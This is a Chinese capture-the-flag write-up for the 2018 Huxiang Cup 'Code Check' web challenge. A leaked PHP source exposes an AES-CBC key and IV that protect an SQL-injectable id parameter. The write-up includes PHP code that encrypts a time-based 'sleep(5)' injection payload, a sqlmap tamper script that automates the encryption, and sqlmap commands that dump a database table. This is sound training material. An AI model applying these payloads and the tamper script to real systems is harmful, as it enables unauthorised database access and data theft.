2018湖湘杯注入题writeup
序
这段时间事情很多,导致这次比赛没有报上名,周日总算闲了下来,看到师傅在群里发了几个题目的链接,于是滑了一波水,在这里记录一下
WEB Code Check
其实昨天写这道题的时候并不知道这个题的题目是什么(有点尴尬),打开题目发现是一个登陆框,进行正常的登陆流程时会出现如下的错误,所以猜测该登陆功能可能不能正常使用

看到登陆处显示平台正在停机维护,不能正常使用应该和这个有一些关系吧

接下来查看页面源代码,尝试发现问题,看到有一处连接
http://39.108.176.234:49882/news/list.php?id=b3FCRU5iOU9IemZYc1JQSkY0WG5JZz09

打开后是一个显示信息的页面

id参数可能是存在注入的,id的值看起来像是一串base64,于是猜测可能是base64编码后的sql注入,但是在尝试base64解码的时候,第二次解码的时候就不能解码了,会出现乱码
接下来,偶然发现了一处目录遍历,此处泄露了list.php的源码

list.php源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <?php header('content-type:text/html;charset=utf-8'); require_once '../config.php'; function decode($data){ $td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,''); mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021'); $data = mdecrypt_generic($td,base64_decode(base64_decode($data))); mcrypt_generic_deinit($td); mcrypt_module_close($td); if(substr(trim($data),-7)!=='hxb2018'){ echo '<script>window.location.href="/index.php";</script>'; }else{ return substr(trim($data),0,strlen(trim($data))-7); } } $id=decode($_GET['id']); $sql="select id,title,content,time from notice where id=$id"; $info=$link->query($sql); $arr=$info->fetch_assoc(); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>X公司HR系统V1.0</title> <style>.body{width:600px;height:500px;margin:0 auto}.title{color:red;height:60px;line-height:60px;font-size:30px;font-weight:700;margin-top:75pt;border-bottom:2px solid red;text-align:center}.content,.title{margin:0 auto;width:600px;display:block}.content{height:30px;line-height:30px;font-size:18px;margin-top:40px;text-align:left;color: </head> <body> <div class="body"> <div class="title"><?php echo $arr['title']?></div> <div class="content"><?php echo $arr['content']?></div> </body> </html>
|
可以看到此处的id参数进行了AES加密处理,加密模式为CBC模式,之后服务端会对id参数进行解密,之后将解密的结果拼接进sql语句,从而产生了sql注入,源码中泄露了AES加密解密的key(密钥)和iv(初始化向量),有了key和iv这两部分,就可以随意的构造sql注入的payload了
解密代码
1 2 3 4 5 6 7 8 9
| <?php $data="b3FCRU5iOU9IemZYc1JQSkY0WG5JZz09"; $td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,''); mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021'); $data = mdecrypt_generic($td,base64_decode(base64_decode($data))); mcrypt_generic_deinit($td); mcrypt_module_close($td); echo substr(trim($data),0,strlen(trim($data))-7); ?>
|

根据解密的代码,结合泄露的key和iv,很容易的编写出生成payload的加密代码,构造延时注入的POC,代码如下
1 2 3 4 5 6 7 8 9
| <?php $payload="1 and sleep(5)-- hxb2018"; $td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,''); mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021'); $data = base64_encode(base64_encode(mcrypt_generic($td,$payload))); mcrypt_generic_deinit($td); mcrypt_module_close($td); echo $data; ?>
|

将经过处理的POC传入到id参数请求
http://39.108.176.234:49882/news/list.php?id=dTFmeVF0RmtWN2ZYSVBiMWpxNCt1d2p3YWJzVlN4WE1xU0tEbmQ2RHlEMD0=
发现页面响应延时了5s,说明sql语句执行了,确实是存在注入的

为了方便,用python编写sqlmap的tamper脚本对id参数进行相应的处理,实现自动化注入,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| """ Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re from Crypto.Cipher import AES import base64 from lib.core.data import kb from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): """ hxb2018:AES CBC encrypt sql injection
>>> tamper('1 and sleep(5)-- ') dTFmeVF0RmtWN2ZYSVBiMWpxNCt1d2p3YWJzVlN4WE1xU0tEbmQ2RHlEMD0= """ return encrypt(payload) def encrypt(payload): payload=payload+"hxb2018" key="ydhaqPQnexoaDuW3" iv="2018201920202021" cipher = AES.new(key,AES.MODE_CBC,iv) if(len(payload)%16!=0): payload=payload+('\0'*(16-len(payload)%16)) return base64.b64encode(base64.b64encode(cipher.encrypt(payload))) else: return base64.b64encode(base64.b64encode(cipher.encrypt(payload)))
|
sqlmap判断存在注入
sqlmap -u “http://39.108.176.234:49882/news/list.php?id=1“ –tamper “aes_cbc.py”

获取flag
sqlmap -u "http://39.108.176.234:49882/news/list.php?id=1" --tamper "aes_cbc.py" --dump -T "notice2" -D "mozhe_discuz_stormgroup"
